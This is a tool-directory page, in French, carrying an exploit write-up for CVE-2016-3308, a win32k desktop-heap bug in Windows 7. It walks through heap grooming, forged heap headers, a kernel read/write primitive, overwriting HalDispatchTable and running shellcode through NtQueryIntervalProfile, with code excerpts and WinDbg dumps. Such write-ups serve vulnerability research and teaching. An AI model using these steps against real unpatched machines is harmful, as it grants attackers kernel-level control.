Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2016-3308 — Utiliser CVE-2016-3308 pour corrompre le tas de bureau win32k | Kitploit
Outils/GitHubGitHub/jackhuyh/cve-2016-3308
Criminalistique MémoireAnalyse des VulnérabilitésExploitationExploitation de Binaires
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

Utiliser CVE-2016-3308 pour corrompre le tas de bureau win32k

Voir le dépôt
121il y a 9 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Utiliser CVE-2016-3308 pour corrompre le tas du bureau win32k

auteur : @55-AA, 18 septembre 2016

##Introduction

Le tas du bureau (Desktop Heap) est un pool noyau utilisé par win32k ; il peut être exploité par une application en mode utilisateur. Je vais décrire en détail comment implémenter une exploitation fiable afin de lire/écrire une adresse arbitraire dans le noyau. Cet article et l'analyse associée ont été réalisés sur une installation win7_sp1_x86 (build 17842).

Vulnérabilité

Le 9 août 2016, Microsoft a publié MS16-098. Le code vulnérable se trouve dans la fonction win32k!xxxInsertMenuItem, dont le prototype est :

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

Commençons par examiner le pseudo-code du bug dans xxxInsertMenuItem :

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

Dans le code ci-dessus, lorsque le 9e (à partir du 1er) élément a été ajouté au pMenu, DesktopAlloc() a été appelé pour réallouer un nouveau pMenu->rgItems. Ensuite, MNLookUpItem() a été appelé pour obtenir l'emplacement de l'élément dans pMenu->rgItems. Mais le pItem retourné par MNLookUpItem() est un rgItems d'un autre pSubMenu, et non du pMenu. Ainsi, lorsque RtlMoveMemory() est appelé, le pItem du pSubMenu et les octets suivants sont écrasés en raison de la taille de déplacement erronée.

Voici le code de désassemblage du bug, qui déclenche un écrasement du tas ; il peut être exploité pour construire un faux bloc :

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

Pour suivre le bug, j'utilise ces points d'arrêt dans WinDbg :

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

Pour déclencher le bug, les étapes suivantes doivent être effectuées :

  1. Créer un menu.
  2. Créer un sous-menu comme premier ITEM du menu avec l'ID 0x123 ; il est nécessaire de définir MENUITEMINFO.hbmpItem avec HBMMENU_SYSTEM.
  3. Ajouter 7 autres ITEMs avec des ID de 0x1001 à 0x1007 dans le menu.
  4. Ajouter un ITEM avec l'ID 1 au sous-menu.
  5. Ajouter 8 autres ITEMs au sous-menu, afin d'obtenir un tagMENU.rgItems avec 16 emplacements. Mais cette étape n'est pas nécessaire pour déclencher le bug si vous ne voulez qu'un crash.
  6. Ajouter le 9e ITEM avec l'ID 0x123 au menu ; ainsi, le RtlMoveMemory() attendu est appelé avec des paramètres erronés.

Tas du bureau

Le tas du bureau est un pool global utilisé par tous les processus GUI. Tous les objets GUI, comme les fenêtres et les menus, sont stockés dans le tas du bureau et gérés par l'allocateur de tas du noyau. L'allocateur de tas du noyau utilise des fonctions familières telles que RtlAllocateHeap et RtlFreeHeap. Contrairement au tas en mode utilisateur, le tas du bureau n'utilise aucun allocateur frontal : pas de Low Fragmentation Heap, pas de liste Lookaside, etc. Il n'y a pas non plus de Heap Encoding avant Windows 8 et ultérieur. Voici la structure d'un bloc sur win7_sp1_x86 :

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Les champs Size et PreviousSize représentent la taille des blocs, décalée vers la droite de HEAP_GRANULARITY_SHIFT (défini comme 3 sur les systèmes 32 bits). Le champ Size spécifie le bloc courant, et PreviousSize spécifie le bloc précédent. Le bit de poids faible de Flags est généralement défini à HEAP_ENTRY_BUSY (0x01), indiquant que le bloc est en cours d'utilisation ; sinon, il est à 0x00.

La figure suivante illustre la relation entre ces champs et les blocs. Le deuxième WORD souligné en vert (0x000f) indique que la taille du bloc courant est de 0x78 octets, le deuxième WORD souligné en noir (0x0003) indique que la taille du bloc précédent est de 0x18 octets, et les WORDs soulignés en rouge (0x0001) indiquent que les blocs courants sont en cours d'utilisation. Ici, la taille du bloc inclut la taille de l'en-tête, dont la structure HEAP_ENTRY est définie ci-dessus.

C'est la caractéristique la plus importante pour la corruption du tas : l'allocateur de tas récupère toujours le bloc libéré le plus récemment. Cela signifie que nous pouvons en réalité allouer un bloc de n'importe quelle taille et à un emplacement précis de notre choix.

Corruption

En exploitant le bug, je peux écraser certains octets dans le tas du bureau. J'obtiens ainsi un faux bloc qui remplace un bloc normal ; puis je libère le bloc remplacé, de sorte que le faux bloc est poussé en tête de la liste des blocs libres. Ensuite, le faux bloc est réutilisé et je peux y écrire n'importe quels octets. La région inscriptible chevauche plusieurs blocs normaux, mais elle ne peut pas couvrir tout l'espace noyau. Je dois donc construire une autre primitive de lecture/écriture dans la région chevauchée, en tirant parti de tagWND.strName pour écrire à une adresse arbitraire. Le pointeur de strName.Buffer peut nous mener n'importe où, aussi bien dans l'espace noyau que dans l'espace utilisateur. Bien entendu, notre cible est uniquement nt!HalDispatchTable.

La figure suivante montre le déroulement des modifications du tas :

Comme le montrent les démonstrations, je corromps le tas du bureau étape par étape et mets en œuvre l'exploitation selon les étapes suivantes :

  1. Créer plusieurs fenêtres avec un texte de taille 1, en bouclant FILL_HOLE_COUNT fois pour remplir l'ancien trou.
  2. Créer WND_0 ~ WND_5 pour manipuler les données des blocs.
  3. Créer un menu, puis un sous-menu comme premier ITEM du menu avec l'ID 0x123. Ajouter ensuite 7 autres ITEMs avec les ID 0x1001~0x1007 dans le menu.
  4. Ajouter un ITEM avec l'ID 1 et 7 autres ITEMs avec les ID 0x2001~0x2007 dans le sous-menu.
  5. Ajouter le 9e ITEM avec l'ID 0x2008 dans le sous-menu, afin d'obtenir un tagMENU.rgItems avec 16 emplacements.
  6. Définir le texte de WND_5 à 0x360 octets pour remplir le trou d'origine des ITEMs du sous-menu * 8.
  7. Définir le texte de WND_1 à 0x70 octets, préparer l'en-tête du faux bloc.
  8. Définir le texte de WND_2 à 0x70 octets, créer un espace réservé pour le faux bloc.
  9. Définir le texte de WND_0 à 0x6c0 octets, créer un espace réservé pour les futurs ITEMs du menu * 16.
  10. Créer la fenêtre Primitive-WND avec une tagPROPLIST créée automatiquement.
  11. Créer la fenêtre Corrupt-WND avec une tagPROPLIST créée automatiquement.
  12. Définir le texte de WND_3 à 0x10 octets pour un prochain faux bloc suivant celui de l'étape 8.
  13. Enregistrer la disposition du tas pour la restaurer lors de la sortie.
  14. Réinitialiser le texte de WND_0 à 0x700 octets, afin de libérer un trou de 0x6c0.
  15. Ajouter le 9e ITEM dans le menu ; il réutilise le bloc libéré à l'étape 14 et le bug est déclenché.
  16. Réinitialiser le texte de WND_2 à 0x80 octets, ce qui pousse le faux bloc en tête de la liste des blocs libres.
  17. Définir le texte de Corrupt-WND à 0x8e0 octets ; le faux bloc est alors réutilisé.
  18. En définissant le texte de Primitive-WND, exécuter la primitive d'écriture pour écraser nt!HalDispatchTable[1].
  19. Déclencher le shellcode en appelant NtQueryIntervalProfile.
  20. Restaurer la disposition enregistrée du tas et quitter.

Les étapes clés ci-dessus pour construire le feng shui du tas :

À l'étape 7, je construis un faux en-tête de tas dans le texte de WND_1 ; il spécifie les conditions du futur bloc. Comme dans la section bleue de la figure ci-dessus, il écrasera la section rouge. La distance entre 'Corrupt HDR' et 'red HDR' est de 0x6c, c'est-à-dire la taille d'un ITEM. Les paramètres sont les suivants :

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

À l'étape 12, je construis le faux en-tête de tas suivant dans le texte de WND_3 ; il fait croire à l'allocateur de tas que ces faux blocs sont normalement chaînés.

À l'étape 15, le bug est déclenché. En ajoutant le 9e ITEM, la liste des ITEMs est réallouée et réutilise le bloc libéré du texte de WND_0. Ainsi, la distance entre 'SubMenuITEMs HDR' et 'MenuITEMs HDR' est de (0x6c8+0x78+0x78) octets ; les données de cette région sont écrasées par elles-mêmes. Dans cette étape, les en-têtes de blocs de WND_1, WND_2 et MenuITEMs sont endommagés. Pour que le processus se termine normalement, j'enregistre certaines données afin de pouvoir les restaurer à l'étape 20.

À l'étape 13, j'enregistre certaines données avant qu'elles ne soient endommagées. Cependant, je suis en mode utilisateur et je ne peux donc pas lire ces données dans l'espace noyau. Heureusement, il existe une section mappée en espace utilisateur : c'est l'image du tas du bureau. Bien qu'elle soit en lecture seule, elle suffit à mon objectif. Pour obtenir l'adresse de la section image en espace utilisateur, on peut utiliser Win32ClientInfo, une structure non documentée dans la TEB. Regardons :

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

Les champs qui nous intéressent sont pvDesktopBase et ulClientDelta. pvDesktopBase pointe vers l'adresse noyau du tas du bureau ; ulClientDelta est une valeur delta qui spécifie le décalage entre l'image en espace utilisateur et l'adresse noyau.

De plus, j'ai besoin d'une relation de mappage entre un HANDLE et une adresse noyau. Il existe une variable globale nommée gSharedInfo, exportée par user32.dll sous Windows 7 et ultérieur. Elle est définie comme suit :

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

Ainsi, je peux obtenir l'adresse noyau à partir d'un handle à l'aide de la fonction :

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

Aux étapes 17, 18 et 20, je veux écrire des octets dans l'espace noyau ; j'utilise donc le texte de la fenêtre. Il s'agit d'un LARGE_UNICODE_STRING alloué sur le tas du bureau et associé à un objet fenêtre. On le trouve dans la structure tagWND ; sur win7_sp1_x86, son offset est 0x84, et l'offset 0x8c est précisément le pointeur que nous pouvons contrôler pour lire/écrire. En espace utilisateur, je peux appeler NtUserDefSetText() pour définir le texte de la fenêtre ; le contenu du texte est écrit à l'adresse noyau que nous souhaitons.

À l'étape 19, je déclenche la cible finale, le shellcode. En appelant NtQueryIntervalProfile() en espace utilisateur, hal!HaliQuerySystemInformation serait normalement appelé, mais son pointeur de fonction dans nt!HalDispatchTable a été remplacé par ma propre fonction à l'étape 18. Au fait, lorsque le premier paramètre de NtQueryIntervalProfile est défini sur 1, il y a un court-circuit, en raison du code suivant à l'offset 84115505 :

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

En dehors de cela, n'importe quelle autre valeur fonctionne.

Afin de suivre commodément l'ensemble de la procédure de corruption, j'affiche quelques valeurs centrales dans la console.

D'après la sortie, nous pouvons apercevoir la disposition du tas du bureau en cours de corruption avec WinDbg.

Voici WND_1_Text et WND_2_Text aux étapes 7 et 8 :

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Voici l'état après l'exploitation à l'étape 15 :

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

Voici le faux bloc terminé :

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

Voici le deuxième faux bloc terminé :

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

Le pointeur du shellcode remplacé :

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

##Références

  • Une analyse de MS16-098
  • Exploitation du bug use-after-free de win32k!xxxEnableWndSBArrows (CVE 2015-0057) sur 32 bits et 64 bits
  • Attaques du noyau via les callbacks en mode utilisateur
Télécharger l’outil